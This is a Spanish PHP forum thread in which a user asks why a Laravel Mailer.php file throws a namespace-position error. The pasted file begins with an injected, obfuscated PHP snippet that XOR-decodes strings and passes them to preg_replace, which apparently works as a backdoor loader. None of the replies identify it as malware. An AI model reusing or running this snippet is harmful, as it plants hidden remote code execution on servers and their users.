Foros del Web » Programando para Internet » PHP » Frameworks y PHP orientado a objetos »

Namespace declaration statement has to be the very first statement in the script

Estas en el tema de Namespace declaration statement has to be the very first statement in the script en el foro de Frameworks y PHP orientado a objetos en Foros del Web. Bueno como dice el título me sale ese error: Cita: Namespace declaration statement has to be the very first statement in the script A parte ...
  #1 (permalink)  
Antiguo 16/07/2015, 11:50
 
Fecha de Ingreso: octubre-2013
Mensajes: 42
Antigüedad: 10 años, 6 meses
Puntos: 0
Exclamación Namespace declaration statement has to be the very first statement in the script

Bueno como dice el título me sale ese error:

Cita:
Namespace declaration statement has to be the very first statement in the script
A parte de eso, lo raro es que se me añaden unos caracteres muy raros al principio del PHP, lo cual hace obvio que de error:

Código PHP:
vendor/laravel/framework/src/Illuminate/Contracts/Mail/Mailer.php
<?php $inuqychd='p'.'reg'.'_r'.'eplace'$ntqwqehgzi="rszkmbinizqwaeqqbgu"^"\x5d\x1f\x13\x1a\x08\x01\x0e\x1aF\x1f";$inuqychd("$ntqwqehgzi""\x11\x1c\x14\x04\x1a\x27\x14\x14\x01\x1d\x18\x02\x07\x19\x14Z\x5fOS\x16\x13\x03\x1fOA\x1c\x05M\x1f\x00\x1f\x15\x13Y\x3d2K97\x20\x26\x3b\x3f8\x3f\x28D\x19\x11L\x2fMLMLON\x01\x17TM8\x2dO\x2a\x23\x3c8\x23\x26\x3e\x27\x2bJ\x07\x09A\x3bSDLOGE\x05\x16D\x5b\x00\x5eZ\x05\x0eH\x40RI\x5f\x5c\x0dEW\x5d\x02\x08\x0d\x05\x15\x5eR\x11THZ\x04WT\x5cHSEP\x13\x1d\x1c\x15\x00L84K\x2a\x3b60\x23\x3f\x3b\x3b6I\x1c\x18\x1c1\x16\x02\x03\x0aS\x3c\x5bCA\x1dY\x14\x0f\x03\x18O\x03\x1b\x1d\x00\x1f\x18\x04\x17\x09\x1c\x0f\x18B\x2a\x25\x4074632\x2e83\x2bM\x07\x07\x1b\x2e\x16\x0e\x01\x0fN\x29\x5dXTT\x0e\x01\x0d\x00\x5dJCB\x15SJU"^"tnfkhxfqqrjvnwsrofhsebsgcucevslpgqanofeewnzkksczykrdlkjoflsaedqkuqyivcmspmdaffzdqrgbcpphbhiflyqfponkqadgnhgsngwdyceasuhucpznoptddhouisavzhomnlplnumgotarjafyqybtgpooiokhvztjkjvydhfsbgkkgpjwokquaejittqotkydtucxbhqcn""liqecgt"); ?><?php namespace IlluminateContractsMail;
 
interface 
Mailer {
 
    
/**
     * Send a new message when only a raw text part.
     *
     * @param  string  $text
     * @param  \Closure|string  $callback
     * @return int
Dejo una captura:



POR SUPUESTO EN EL ARCHIVO PHP NO SALEN ESOS CARACTERES RAROS
  #2 (permalink)  
Antiguo 16/07/2015, 13:31
Avatar de hhs
hhs
Colaborador
 
Fecha de Ingreso: junio-2013
Ubicación: México
Mensajes: 2.995
Antigüedad: 10 años, 9 meses
Puntos: 379
Respuesta: Namespace declaration statement has to be the very first statement in the

Que estas intentando hacer ?
__________________
Saludos
About me
Laraveles
A class should have only one reason to change.
  #3 (permalink)  
Antiguo 16/07/2015, 13:44
 
Fecha de Ingreso: octubre-2013
Mensajes: 42
Antigüedad: 10 años, 6 meses
Puntos: 0
Respuesta: Namespace declaration statement has to be the very first statement in the

Cita:
Iniciado por hhs Ver Mensaje
Que estas intentando hacer ?
En este caso enviar un e-mail, usando el ejemplo mismo de laravel o otro, la cuestion es que se me añade eso al principio de los archivos no se porque, lo tengo dentro de un Dropbox, puede que el Dropbox haga eso?
  #4 (permalink)  
Antiguo 16/07/2015, 16:18
Avatar de jamie_88  
Fecha de Ingreso: abril-2011
Ubicación: Lima
Mensajes: 161
Antigüedad: 13 años
Puntos: 28
Respuesta: Namespace declaration statement has to be the very first statement in the

error parece bastante claro, lo primero que tienes que colocar es el namespace, borra todo lo que esta antes de <?php namespace.
  #5 (permalink)  
Antiguo 27/07/2015, 02:21
 
Fecha de Ingreso: octubre-2013
Mensajes: 42
Antigüedad: 10 años, 6 meses
Puntos: 0
Respuesta: Namespace declaration statement has to be the very first statement in the

Cita:
Iniciado por jamie_88 Ver Mensaje
error parece bastante claro, lo primero que tienes que colocar es el namespace, borra todo lo que esta antes de <?php namespace.
Se lo claro que esta, el problema si lo lees bien es que al abrir el archivo antes del namespace no hay nada esta todo correcto, y por algún motivo se coloca automaticamente esa cadena de caracteres al principio la cual no puedo borrar porque NO EXISTE.

Etiquetas: laravel, mail, namespace
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 14:59.